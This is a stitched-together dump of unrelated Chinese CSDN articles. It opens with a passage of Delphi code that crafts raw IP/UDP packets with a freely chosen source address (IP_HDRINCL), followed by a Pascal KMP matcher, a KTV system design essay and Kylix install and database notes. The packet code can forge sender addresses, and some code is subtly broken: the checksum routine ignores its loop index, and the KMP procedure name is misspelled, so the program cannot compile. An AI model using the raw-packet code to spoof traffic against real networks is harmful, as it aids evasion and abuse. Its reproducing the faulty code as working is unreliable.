ip_offset : Word;
ip_ttl : Byte;
ip_protocol : Byte;
ip_checksum : Word;
ip_srcaddr : LongWord;
ip_destaddr : LongWord;
end;

// UDP 头
Type
T_UDP_Header = record
src_portno : Word;
dst_portno : Word;
udp_length : Word;
udp_checksum : Word;
end;

// 一些 Winsock 2 的类型声明
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;

SunB = packed record
s_b1, s_b2, s_b3, s_b4: u_char;
end;
SunW = packed record
s_w1, s_w2: u_short;
end;
in_addr = record
case integer of
0: (S_un_b: SunB);
1: (S_un_w: SunW);
2: (S_addr: u_long);
end;
TInAddr = in_addr;
Sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddr = Sockaddr_in;
TSocket = u_int;

const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;

type
PWSAData = ^TWSAData;
WSAData = record // WSDATA
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSAData = WSAData;

file://定义一些 winsock 2 函数
function closesocket(s: TSocket): Integer; stdcall;
function socket(af, Struct, protocol: Integer): TSocket; stdcall;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
tolen: Integer): Integer; stdcall;{}
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
optlen: Integer): Integer; stdcall;
function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }
function htons(hostshort: u_short): u_short; stdcall;
function WSAGetLastError: Integer; stdcall;
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
function WSACleanup: Integer; stdcall;

const
AF_INET = 2; // internetwork: UDP, TCP, etc.

IP_HDRINCL = 2; // IP Header Include

SOCK_RAW = 3; // raw-protocol interface

IPPROTO_IP = 0; // dummy for IP
IPPROTO_TCP = 6; // tcp
IPPROTO_UDP = 17; // user datagram protocol
IPPROTO_RAW = 255; // raw IP packet

INVALID_SOCKET = TSocket(NOT(0));
SOCKET_ERROR = -1;

var
Form1: TForm1;

implementation

// Import Winsock 2 functions
const WinSocket = 'WS2_32.DLL';

function closesocket; external winsocket name 'closesocket';
function socket; external winsocket name 'socket';
function sendto; external winsocket name 'sendto';
function setsockopt; external winsocket name 'setsockopt';
function inet_addr; external winsocket name 'inet_addr';
function htons; external winsocket name 'htons';
function WSAGetLastError; external winsocket name 'WSAGetLastError';
function WSAStartup; external winsocket name 'WSAStartup';
function WSACleanup; external winsocket name 'WSACleanup';

{$R *.DFM}

function CheckSum(Var Buffer; Size : integer) : Word;
type
TWordArray = Array[0..1] of Word;
var
ChkSum : LongWord;
i : Integer;
begin
ChkSum := 0;
i := 0;
While Size > 1 do begin
ChkSum := ChkSum + TWordArray(Buffer);
inc(i);
Size := Size - SizeOf(Word);
end;

if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer));

ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
ChkSum := ChkSum + (Chksum shr 16);

Result := Word(ChkSum);
end;

procedure BuildHeaders(
FromIP : String;
iFromPort : Word;
ToIP : String;
iToPort : Word;
StrMessage : String;
Var Buf : TPacketBuffer;
Var remote : TSockAddr;
Var iTotalSize : Word
);
Var
dwFromIP : LongWord;
dwToIP : LongWord;

iIPVersion : Word;
iIPSize : Word;
ipHdr : T_IP_Header;
udpHdr : T_UDP_Header;

iUdpSize : Word;
iUdpChecksumSize : Word;
cksum : Word;

Ptr : ^Byte;

procedure IncPtr(Value : Integer);
begin
ptr := pointer(integer(ptr) + Value);
end;

begin
// Convert ip address'ss

dwFromIP := inet_Addr(PChar(FromIP));
dwToIP := inet_Addr(PChar(ToIP));

// 初始化 IP 头
//
iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

iIPVersion := 4;
iIPSize := sizeof(ipHdr) div sizeof(LongWord);

ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
ipHdr.ip_tos := 0; // IP type of service
ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
ipHdr.ip_id := 0; // Unique identifier: set to 0
ipHdr.ip_offset := 0; // Fragment offset field
ipHdr.ip_ttl := 128; // Time to live
ipHdr.ip_protocol := $11; // Protocol(UDP)
ipHdr.ip_checksum := 0 ; // IP checksum
ipHdr.ip_srcaddr := dwFromIP; // Source address
ipHdr.ip_destaddr := dwToIP; // Destination address
//
// 初始化 UDP 头
//
iUdpSize := sizeof(udpHdr) + length(strMessage);

udpHdr.src_portno := htons(iFromPort) ;
udpHdr.dst_portno := htons(iToPort) ;
udpHdr.udp_length := htons(iUdpSize) ;
udpHdr.udp_checksum := 0 ;

iUdpChecksumSize := 0;

ptr := @buf[0];
FillChar(Buf, SizeOf(Buf), 0);

Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
IncPtr(SizeOf(ipHdr.ip_srcaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
IncPtr(SizeOf(ipHdr.ip_destaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

IncPtr(1);

Inc(iUdpChecksumSize);

Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
IncPtr(sizeof(ipHdr.ip_protocol));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
IncPtr(sizeof(udpHdr.udp_length));
iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

move(udpHdr, ptr^, sizeof(udpHdr));
IncPtr(sizeof(udpHdr));
iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

Move(StrMessage[1], ptr^, Length(strMessage));
IncPtr(Length(StrMessage));

iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

cksum := checksum(buf, iUdpChecksumSize);
udpHdr.udp_checksum := cksum;

//
// 现在 IP 和 UDP 头OK了，我们可以把它发送出去。
//
FillChar(Buf, SizeOf(Buf), 0);
Ptr := @Buf[0];

Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));
Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));
Move(StrMessage[1], ptr^, length(StrMessage));

remote.sin_family := AF_INET;
remote.sin_port := htons(iToPort);
remote.sin_addr.s_addr := dwToIP;
end;

procedure TForm1.SendIt;
Var
sh : TSocket;
bOpt : Integer;
ret : Integer;
Buf : TPacketBuffer;
Remote : TSockAddr;
Local : TSockAddr;
iTotalSize : Word;
wsdata : TWSAdata;

begin
// Startup Winsock 2
ret := WSAStartup($0002, wsdata);
if ret<>0 then begin
memo1.lines.add('WSA Startup failed.');
exit;
end;
with memo1.lines do begin
add('WSA Startup:');
add('Desc.: '+wsData.szDescription);
add('Status: '+wsData.szSystemStatus);
end;

try
// Create socket
sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (sh = INVALID_SOCKET) then begin
memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));
exit;
end;
Memo1.lines.add('Socket Handle = '+IntToStr(sh));

// Option: Header Include
bOpt := 1;
ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
if ret = SOCKET_ERROR then begin
Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
exit;
end;

// Build the packet
BuildHeaders( SrcIP, SrcPort,
DestIP, DestPort,
'THIS IS A TEST PACKET',
Buf, Remote, iTotalSize );

// Send the packet
ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));
if ret = SOCKET_ERROR then
Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))
else
Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

// Close socket
CloseSocket(sh);
finally
// Close Winsock 2
WSACleanup;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SendIt;
end;

end.


CSDN_文档中心_kmp模式匹配算法的pascal实现

{
Implementation of KMP Algorithm
}
PROGRAM Impl_KMP;

USES
CRT;

CONST
MAX_STRLEN = 255;

VAR
next : array [ 1 .. MAX_STRLEN ] of integer;
str_s, str_t : string;
int_i : integer;

Procedure get_nexst( t : string );
Var
j, k : integer;
Begin
j := 1; k := 0;
while j < Length(t) do
begin
if ( k = 0 ) or ( t[j] = t[k] ) then
begin
j := j + 1; k := k + 1;
next[j] := k;
end
else k := next[k];
end;
End;

Function index( s : string; t : string ) : integer;
Var
i, j : integer;
Begin
get_next(t);
index := 0;
i := 1; j := 1;
while ( i <= Length(s) ) and ( j <= Length(t) ) do
begin
if ( j = 0 ) or ( s[i] = t[j] ) then
begin
i := i + 1; j := j + 1;
end
else j := next[j];
if j > Length(t) then index := i - Length(t);
end;
End;

BEGIN
ClrScr;
Write('s = ');
Readln(str_s);
Write('t = ');
Readln(str_t);
int_i := index( str_s, str_t );
if int_i <> 0 then
begin
Writeln( 'Found ', str_t, ' in ', str_s, ' at ', int_i, '.' );
end
else
Writeln( 'Cannot find ', str_t, ' in ', str_s, '.' );
END.

index函数用于模式匹配，t是模式串，s是原串。返回模式串的位置，找不到则返回0


CSDN_文档中心_ktv 系统设计经验

摘要：以我主持开发的一个ktv点歌系统为例，叙述了如何进行体系结构设计，进行系统的负载平衡和故障转移，采用数据库动态搜索加载技术，在低成本的条件下实现了较高的稳定性和可靠性，对比市场上的已有系统，阐述了此系统的优势。叙述了此系统在设计时的考虑和方案选择背景以及遇到的困难和解决方法，在系统开发，测试，安装人员的努力下，最终使系统成功推广使用，并以稳定性，易用性受到用户好评。最后总结我几年的开发经验，涉及一些对软件，管理的体会，以及对软件开发人员的建议。

随着计算机的普及，vod和ktv系统也迅速发展起来。娱乐场所，酒店，小区也逐步采用vod和ktv系统。市场调查发现，ktv点歌系统（卡拉ok歌曲为主）和vod点播系统（电影为主）有着良好的市场前景。目前市场上已有不少ktv软件，经过考察比较，发现目前已有系统存在以下问题：成本偏高，市场竞争要求尽可能的降低成本；系统可靠性不高，客户端对服务器依赖性过高；软件易用性不好，上手慢；软件稳定性不够高，容易发生死机等现象；软件有些方面设计不合理，例如对最常用的消除原声操作复杂，应该做到自动实现。 受公司邀请，我主持开发了ktv点歌系统（基于硬件解压播放）和vod点播系统（基于软件解压播放）。其中我负责项目的总体分析，设计，以及主要的编码工作，并协调界面设计人员，硬件测试人员和软件测试人员的工作。

目前为止，其中的ktv点歌系统已经成功推广使用，并以稳定性，易用性受到用户好评。

先简要介绍一下ktv系统的布局：
服务器端采用多台服务器，作为无盘启动，数据库和节目源服务器，使用了故障转移技术，任意一台服务器失效，都可保证系统继续运行。

客户端使用无盘工作站，使用显示器作为点歌界面，电视机作为节目输出界面，用户使用遥控器或者鼠标进行操作。

系统要求在低成本的条件下实现比较高的可靠性，在比较目前市场上已有系统的基础上，我使用了如下方案：

1． 体系设计：

1）使用无盘工作站。服务器端为win200 server，使用raid硬盘阵列，客户端采用无盘win98。好处：每个客户端节省一块硬盘，在总量上也是比较可观的；客户端win98系统不会受到破坏，每次重起机器即完好如初，能够承受恶意操作（如故意重起等）；可以由服务器端统一控制。

2）使用client/server结构。客户端运行点歌系统，连接服务器端的数据库，从服务器读取节目。其实无盘工作站的设计已经基本决定了使用这种c/s结构，主要在数据库的选择上可以选用本地数据库，也可以使用网络数据库，经比较考虑后，采用了网络数据库。

3）使用软件进行负载平衡。Win2000 advanced server本身提供了负载平衡和故障转移策略，但并不完全适合我们的需要，以及硬件成本偏高（工程造价往往是硬件和软件一起算的，现在的市场上几千到几万的成本差价都不得不考虑），并且要求系统安装人员有较高的技术水平。出于以上考虑，并结合软件自身的特点，使用软件来进行负载的平衡。点歌系统对网络的要求是很高的，例如点播dvd时要求此客户端能保证得到1M/秒的数据流，播放过程中不得出现停顿，延迟等。服务器端存放了10000首歌曲（在谈项目时对方会比较注重歌曲的总数量），由于数据量大，采用分布式存放于多台服务器，另外对用户调查发现，用户点歌偏好基本满足正态分布，80％的点播集中在2000首歌曲上，为了平衡服务器的负载，对常用歌曲实行冗余存放（例如A机和B机都存放了此歌曲），所以歌曲可以分为两大类：唯一性歌曲（只有在某台机器上有一份文件）和冗余性歌曲（在多于一台的服务器上有此首歌曲）。对于唯一性歌曲，不进行负载平衡，只是简单的读取数据（当然也可以进行最高负载限制，例如A服务器最高只允许30个连接，超过此数时则拒绝，客户端跳过此歌曲，转向下一首）；对于冗余性歌曲，由点播软件进行负载平衡，先向服务器查询负载较小的服务器，然后连接此服务器读取节目。

4）失效控制。也是出于同上一条一样原因（适用性，成本和安装人员技术水平）的考虑，采用了软件自身的失效控制。由实际调查发现，主要失效为硬件失效。硬件失效又主要为硬盘损坏和网络损坏。虽然服务器使用了raid硬盘阵列，但由于承受着大量的数据读取工作（1首4分钟的dvd 平均130M，130M/首×15首/小时×15小时/天×30台＝877G/天），硬盘容易损坏。当机器出现故障时，需要进行停机检修，为了不影响客户端的正常点播，软件能自动发现失效的服务器，屏蔽失效服务器上的歌曲，对重复性歌曲也自动剔除失效服务器，只从正常服务器进行选择播放。如果系统的数据库服务恰好也在失效的服务器上，软件会根据预先的配置自动选择有效的服务器进行连接，所有过程对用户透明，用户可以在基本不受影响的情况下继续播放歌曲。对于网络损坏的失效控制与硬盘损坏类似，对于每个客户端，只要还能连接到其中的一台服务器，即可继续运行。

负载平衡和失效控制是本系统相对于目前市场上其他系统的一个比较大的优势，在比较低的成本上实现了比较高的可靠性。

2． 数据库设计：

1）数据库的选择。考虑到安装人员的技术水平，并参考市场上的已有系统，一开始考虑采用access数据库，access简单易用，安装人员能较快掌握，并能满足开始的基本需求。但后来经过调查发现，access数据库无法实现以后肯定会需要追加的其他功能（例如统一管理等），并且access在安全性和稳定性方面存在问题，决定舍弃access，采用 sql server 数据库。为了使用sql server数据库，我费了不少口舌，要说服项目的相关人员，对安装人员进行培训，向他们讲解sql server带来的好处（因为他们喜欢access的易用性，直接拷过去就能用）。最后，系统采用sql server 做为数据库。

2）数据库的使用。数据库安装在服务器端，客户端按照预先的设定去连接服务器的数据库。在数据库的连接上使用了动态搜索加载技术。例如有A , B , C三台服务器，均配置了数据库服务，设定优先顺序：A（主数据库）>B>C。客户端在启动时先搜索A B C服务器是否可以连接，如 A可用就连接上，并立即返回，否则查看B和C是否可用。由于进行了优化，在正常情况下（A可用），连接时间在0.5秒之内；在故障情况下（A不可用，B C 至少其中之一可用），在2秒之内连接完毕。在软件运行过程中，如果当前连接的数据库失效，软件能自动连接下一个可用的数据库，保证系统能最大限度的继续工作。Sql server提供了自动备份功能，并且在将来有需要的时候，可以进行数据库的同步热备份（我在另一个钢铁企业的项目使用了同步热备技术）。由于采用了以上技术，使系统能在比较恶劣的条件下（如服务器故障）继续工作，最大限度的保证了系统的不间断性。相比于目前市场上大部分的系统，服务器或网络故障则客户端全部瘫痪或者影响用户的正常操作，本系统有着明显的优势。

3． 问题和不足之处。

1） 项目的最大问题其实不在软件上，而在硬件上。尽管采用了故障转移策略，硬件故障仍然是非常可怕的（我想对每个系统都是如此）。开始安装人员在选用raid硬盘阵列的时候采用了raid 0 （他们对这个比较熟），阵列中一个硬盘故障则整个阵列无法使用，对于只采用2台服务器的系统则另一台服务器负载明显过重，为此我曾在半夜1：00坐车赶过去“救火”。后来我要求采用raid 5 ，阵列可在一块硬盘故障情况下继续工作，提高了系统的可靠性。

2） 曲目数据量大，整理，管理困难。近万首的歌曲，光是听一遍就要花一个多月（24小时工作），要整理好难度更大。为此我编了不少小程序，专门自动做整理工作。

3） ktv点歌系统是基于硬件解压播放的，使用了神龙dvd解压卡。解压卡只能播放mpeg-1 和mpeg-2 ，无法播放现在比较流行的如mpeg-4格式。不过这在vod系统中得到了改进,vod系统采用了软件解压，能播放目前流行的大多数格式的视频文件，并且能支持共享式播放和流媒体式播放，在系统架构上更加灵活。目前vod系统已经开发完毕，正在进入市场推广阶段。

总结我这几年软件设计和开发的经验，无论对哪类系统（娱乐的vod点播系统，工业的钢铁企业管理系统，商业的电子商务系统），系统的分析，设计，管理都是非常重要的。市场竞争激烈，投资者要求降低成本；用户需求多变，软件要禁得起变更；用户层次不同，软件的易用性尤为重要；硬件故障在所难免，软件要有最大的可靠性。要满足上述需求，光靠编程高手或者埋头苦干是不能解决问题的，需要的是系统分析，设计和管理能力，才能带领一个团队开发出满意的产品。目前，我正在学习管理，咨询，市场，经济，数学建模等内容，并聆听一些大公司管理者（例如utstarcom总裁，中兴，普华永道等高层人士）的演讲，虽然看上去这些和计算机软件没有直接关系，但是我觉得首先要有管理，有市场，才有软件，有了软件，也要懂得经济，懂得做企业，才能使软件有地方去发挥价值，才能形成软件开发的良性循环。一名软件开发人员，不能只知道软件开发，只知道技术，要学会高屋建瓴，提高自身的整体素质，在现代企业中有三要素：管理，市场，技术。在懂得管理，了解市场的基础上再来做技术，才能做出真正符合市场经济需要的产品。


CSDN_文档中心_Kylix 安装错误解答

Kylix 安装错误解答

Kylix是Borland推出的Delphi for Linux,界面已有网友贴出来了,但普通的安装方式不一定能够安装成功,尤其是Linux使用了2.4内核,可以说是肯定安装不上,下面介绍一下在蓝点(版本较低的例子)和Redhat7.1(版本较高的例子)下的安装方法

BluePoint应注意，由于glibc版本低，必须加补丁
//进入Kylix的安装目录的patches/glibc_redhat/6.2
cd /mnt/cdrom/patches/glibc_redhat/6.2
rpm -Uvh glibc-[2c]*
rpm -Fvh glibc-[dp]* nscd-*
cd /mnt/cdrom
sh setup.sh
就可以了

Redhat7.1 要注意
kylix的安装程序与rpm有冲突，应使用 sh setup.sh -m
即不使用rpm方式

RH7.0的只用sh setup.sh就可以了

对于其他Linux,如果是近来出的,一般都参照rh7.1的安装方法

关于下载,由于Kylix属于商业软件,所以大家在经济条件许可的情况下情购买正版软件支持Borland. 对于教育网的用户,可以到http://bingle.pku.edu.cn搜索Kylix,注意不要beta版,确认是final版在下载!

欢迎大家访问http://woolgate.home.chinaren.com 个人网络实名woolgate


CSDN_文档中心_kylix 数据库应用简介

kylix 数据库应用简介
（施晓军　2001年06月20日 10:56）

Kylix是业界著名的美国软件公司Borland正式发布的第一款专门为Linux操作系统推出的快速开发工具（Rapid Application Development，RAD）环境。它能为开发人员提供高效率的Web程序、桌面程序和数据库程序开发工具，使Linux开发人员可以在具有灵活的跨平台性能、可视化的Kylix开发环境中快速、方便地开发出高性能的Linux应用软件。

本文概括地介绍了在Kylix数据库应用开发中涉及到的主要组件对象，和对数据编辑、更新处理进行管理的策略。

一、dbExpress 及Kylix的数据提供/处理框架

Borland的Kylix所提供的dbExpress，是为很多数据库提供公共API的一种新的处理方法。dbExpress 的设计目标为：最小化系统资源的占用，最大化运行速度，提供平台独立性，提供易用的开发环境，使驱动程序的开发简易。

dbExpress的驱动程序既小又快，因为它们只提供了非常有限的功能。一个dbExpress驱动程序实现五个接口，支持获取metadata，执行SQL语句和存储过程，和返回只读的单向游标结果集等等。不管怎样，当被使用于DataSetProvider和ClientDataSet或SQLClientDataSet以实现Borland的提供/处理数据访问策略时，dbExpress 能为你提供全性能，高可靠性，高并发性的系统，使你很方便地处理SQL数据库中的数据。

Kylix使用四个组件来提供数据访问和编辑功能。一个就是SQLConnection组件，为你使用的数据库提供一个到dbExpress驱动程序的连接；另一个就是dbExpress dataset组件中的一个，通过执行一个SQL SELECT语句或调用一个存储过程来提供数据；还有就是DataSetProvider和ClientDataSet组件。当你打开ClientDataSet，它就会向DataSetProvider请求数据。DataSetProvider打开查询或存储过程组件，获取数据记录，然后关闭查询或存储过程组件，为ClientDataSet提供数据记录，或任何所需的metadata。ClientDataSet把数据记录保存在内存中，无论它们是在被浏览或更改。当用代码的形式，或者是通过用户界面，对记录作增加、删除或更改时， ClientDataSet把所有的更改都以日志的形式记录在内存中。为了更改数据库，你要调用ClientDataSet的ApplyUpdates方法。ApplyUpdates把更改日志传递给 DataSetProvider。DataSetProvider就开始一个事务，创建和执行相应的SQL语句，对数据库进行更改。如果所有的更改都被成功地执行，DataSetProvider就提交一个事务；否则，就会回滚该事务。如果发生一个错误导致事务回滚，ClientDataSet 的OnReconcileError事件就会被触发。

Kylix的这种提供/处理数据的框架的好处主要有：

1．缩短事务周期

长时间的事务会使数据库服务器长时间地加锁，会降低数据库的并发性能，并且会消耗数据库服务器的资源。使用Kylix的这种提供/处理数据的框架则可以降低事务周期。动态地降低资源消耗，提高一个忙碌的数据库服务器的并发性能。

2．使任何记录都是可编辑的

由多数据表连结、存储过程或只读视图返回的记录是不能直接在数据库应用中被编辑的。DataSetProvider给了你三种方法来处理这些情形。如果记录来自于一个单一的数据表，如，通过一个存储过程产生，可以为DataSetProvider创建返回该数据表名称的OnGetTableName事件句柄。第二种可能是多表联接中，来自某一单一数据表的字段需要被更改；解决方法是，首先，设置该字段的ProviderFlags属性，以表示该字段是要被更改的，然后， 创建一个OnGetTableName事件句柄以返回数据表的名称，DataSetProvider就会自动地产生相应的SQL语句。如果你要更改多数据表中的每个数据记录，解决方法是，为DataSetProvider增加一个BeforeUpdateRecord事件句柄。在该事件句柄中，你可以为每一个数据表产生SQL语句，并执行它们。

3．瞬时排序和搜索

由于ClientDataSet把记录保存在内存中，这些记录可以在内存中被快速排序。如果一个内存中的排序太慢，你可以在设计或运行时为ClientDataSet数据创建索引。这些创建在内存中的索引可以让你瞬时地改变记录的顺序或多记录进行定位，而不需要维护数据库中的索引。

4．自动统计信息

ClientDataSets能自动维护你定义的复杂的统计计算公式，如，Sum(Price)-Sum(Cost)。你也能对统计计算根据某一字段或字段的组合进行分组，从而提供分组统计信息。你也可以使用Min，Max，Count和Avg (average)等聚集运算。

5．观看数据的子集

使用符合SQL WHERE语法的过滤表达式，可以使你很容易地显示ClientDataSet的记录子集，而不需要数据库服务器执行任何查询操作。

6．多并发数据视图

克隆一个ClientDataSet游标的能力，可以让你同时观看一个ClientDataSet中数据记录的不同子集。你也可以以不同的排序观看相同的数据记录。

7．计算字段不再是高不可及

你可以在设计时为一个ClientDataSet设置计算字段，使计算字段是内存中数据记录集的一部分。 由于计算字段的计算功能是使用编译过的Object Pascal代码，因此，执行起来很快，虽然要比在一个SQL语句中的计算列或触发器中的计算复杂，但是，对于数据库服务器而言，则不需要任何存储或计算负担。

8．快速开发

使用dbExpress进行应用开发只需要两个共享的对象库。一个是dbExpress驱动程序，如，LIBSQLIB.SO用于Interbase，另一个是LIBMIDAS.SO，是ClientDataSet的支持库。这最小化了应用程序的规模，简化了安装。

9．很容易进行驱动程序创建

dbExpress驱动程序的实现仅需五个接口，并且已在在线帮助中被描述。Borland还提供了MySQL和 Interbase 驱动程序代码，这使数据库厂商能很容易地依照模型创建高性能的驱动程序。你甚至可以根据需要构建自己的驱动程序。

此外，Kylix的DataCLX是跨平台组件库，提供了访问数据的两组组件。DbExpress组件提供基本的连接和数据获取函数功能。数据访问组件提供了使用提供/解决框架编辑数据的能力。

二、数据获取与处理组件

如同所有的CLX组件，数据访问与处理组件可以让你快速构建你的应用程序，只需要把组件从组件板中拖出来，放在你的应用程序中就可以了。

1、SQLConnection

SQLConnection为任何dataset组件提供一个数据库连结。你可以使用多SQLConnection组件，同时和许多数据库相连。有三种方法定义一个数据库连结：使用一个已经存在的连接、创建一个新的命名连结，或者把连结参数放置在SQLConnection 组件的参数属性中。为了使用一个已经存在的连结，只需要设置ConnectionName属性。

为了创建一个新的命名连结，双击SQLConnection组件，打开dbExpress Connection编辑器。左边列表框中显示的连结名是已经被定义的。驱动程序下拉列表让你进行过滤以便只显示你所需的驱动程序。右边表格中的连结设置，显示所选取驱动程序的连结设置。你创建的所有连结被存储在dbxconnections.conf文件中。

创建了一个命名连结以后，你可以把它赋给SQLConnection 组件的ConnectionName属性。如果你使用了命名连结，你就要把连结文件和你的应用程序一起发行，或者定位一个目标计算机上已经存在的连结文件，并且把你的连结加上去。另一种可选的方法是设置SQLConnection组件的DriverName属性。包含DriverName的下拉列表列出了你在系统中已经安装的所有驱动程序。驱动程序的信息被包含在 dbxdrivers.conf文件中。

设置DriverName属性，也就会根据驱动程序文件中的信息设置LibraryName和VendorLib属性。LibraryName包含了dbExpress驱动程序共享对象文件的名称。VendorLib包含了数据库厂商的客户库文件名字。

如果在连结编辑器中为 SQLConnection 组件的 Params属性输入连结参数，连结信息就完全被包含在你的应用程序中。如果你希望应用程序的用户能更改你存储的任何连结参数，你可以把它们存储在应用程序自己的配置文件中，并且提供一种方法编辑文件，可以在你的应用程序中，或者是一个单独的配置程序；这就使每个应用程序完全是自包含的。

SQLConnection组件也提供了StartTransaction，Commit和Rollback方法用于事务控制。如果你需要执行SQL语句，但不需要返回一个结果集，你就可以使用SQLConnection组件的Execute或ExecuteDirect方法，而不需要任何dataset组件。 如果你需要访问数据库的metadata，可以使用SQLConnection组件的GetTableNames， GetFieldNames和GetIndexNames方法。

2、Dataset组件

dbExpress提供了四个dataset组件，SQLDataSet，SQLQuery，SQLStoredProc和SQLTable。

SQLDataSet可用于任何新的应用程序。通过设置它的CommandType属性，你可以用来执行SQL语句，调用一个存储过程，或者，访问数据表中所有的行和列。另外的dataset组件主要用于把使用Borland数据库引擎的Windows应用程序很容易地转换成dbExpress。

为了使用一个SQLDataSet，设置它的SQLConnection属性为你所要使用的SQLConnection组件，然后把它的CommandType属性设置为ctQuery， ctStoredProc 或 ctTable。通常，你使用缺省的值为ctQuery。CommandText属性值依赖于CommandType的值。如果CommandType是 ctQuery， CommandText就包含你想要执行的SQL语句。如果CommandType是ctStoredProc，CommandText就是存储过程的名称。如果CommandType是ctTable，那么，CommandText 就是数据表的名字。你可以使用Params属性为参数化的查询或存储过程提供参数，使用DataSource属性把SQLDataSet和另外一个主-从关系的dataset组件相连。

SQLDataSet仅提供只读的单向游标。如果这是你惟一的访问要求，如，打印一个报表，你就可以直接使用SQLDataSet，或者根据你的报告工具使用一个DataSource组件。如果你要对数据记录进行编辑，就要增加一个DataSetProvider和ClientDataSet，如前面所述。如果你需要详细的metadata信息，就要使用一个SQLDataSet 的SetSchemaInfo方法。SetSchemaInfo有三个参数，分别是SchemaType，SchemaObject和SchemaPattern。 SchemaType可以是stNone，stTables，stSysTables，stProcedures，stColumns，stProcedureParams或stIndexes。该参数表明SQLDataSet被打开时所包含的信息类型。当你使用一个SQL语句或存储过程从一个数据表中获取数据时，SchemaType被设置为stNone。其它的schema类型创建一个拥有相应的结构的dataset。当请求一个存储过程或数据表名字时，SchemaObject就是存储过程或数据表的名字。Schema模式可以让你对结果进行过滤。例如，如果SchemaType是stTables ，SchemaPattern是'EMP%'，那么返回的数据集将仅仅返回以EMP开头的数据表。

3、SQLMonitor

最后一个dbExpress组件是SQLMonitor，用于帮助你调试你的应用程序。SQLMonitor用来监视在一个SQLConnection组件和相联的数据库服务器之间流动的所有的SQL语句。SQL语句可以被记录到日志文件中，或者你可以书写事件句柄处理它们。

4、数据访问组件

DataSetProvider | 一个DataSetProvider是通过其DataSet属性被连结到一个dbExpress dataset组件上去的。DataSetProvider根据请求为ClientDataSet提供数据，产生SQL DML语句，根据ClientDataSet提供的更改日志对数据库作更改。
ClientDataSet | ClientDataSet是通过它的ProviderName属性和一个DataSetProvider相连的。它从它的DataSetProvider获得数据，把数据缓存在内存中，把所有的数据更改做成日志，当ClientDataSet的ApplyUpdates方法被调用时，把更改日志发送给DataSetProvider。
DataSource | 一个DataSource组件是通过它的DataSet属性和一个dataset相连的。Dataset可以是一个ClientDataSet或者是dbExpress dataset组件之一。DataSource提供公共函数功能，以及数据感应用户界面组件的连结点。它也用于连结数据集组件，以模拟一对多、多对多的关系。
SQLClientDataSet | ClientDataSet这是一个具有内建DataSetProvider和SQLDataSet的ClientDataSet组件。仅仅要把它和一个SQLConnection组件相连；设置DataSet，CommandType和CommandText属性。当SQLClientDataSet隐藏掉很少用到的SQLDataSet、 DataSetProvider组件的某些性能，访问来自一个单一数据表的数据时，它将能节省时间，并且提供你通常所要用到的所有的功能。

另外，MyBase是一种本地的XML数据库。包含在一个 ClientDataSet中的数据，可以二进制或XML格式被存储在磁盘文件或被调用。这可以使一个ClientDataSet 如同一个单一用户的关系数据库系统。惟一的限制就是当它被访问时它必须适合内存的大小。这种性能可以被运用于许多方面。你可以使用 ClientDataSet在内存中创建临时数据表，也可以瞬时去除它。


CSDN_文档中心_Kylix安装手记

Kylix安装手记

Kylix早已经发布了，作为一个Delphi程序开发爱好者，又是一个unix的忠实用户。当我看到有Linux上的Delphi时，忍不住想要试它一试，所以就早早地预定了一套Kylix的服务器版。
我收到的Kylix的服务器版中有以下东东：

  • Kylix服务器版光盘
  • 用户开发手册
  • SuSE 测试版光盘
  • 对象层次结构说明书
  • Pascal语言使用手册
  • Kylix入门手册
  • 一些相关的工具
  • 注册卡

我的电脑的基本配置：

  • CPU: PII400
  • 内存:128M
  • 硬盘：4.3G+20G

安装了Window2000和Redhat 7.0

好了，开始安装了，插入CD光盘，先看看机子能否安装Kylix,

进入到Kylix安装目录运行: ./testsystem （注：此程序可在Borland公司主页上免费下载)

Borland Kylix System Compatibility Test
Checking loader....OK
Checking kernel >= 2.2....OK
Checking libc >= 2.1.2....OK
Checking libjpeg >= 6.2.0....OK

我的机子对libc,libjpeg做过升级，所以就很顺利了，对于大多数据的机子可能需要先进行相关的升级，如下就是redhat7.0用的一些rpm包

完成以上操作，现在就可以进行真正的安装了，输入 ./setup.sh，回车
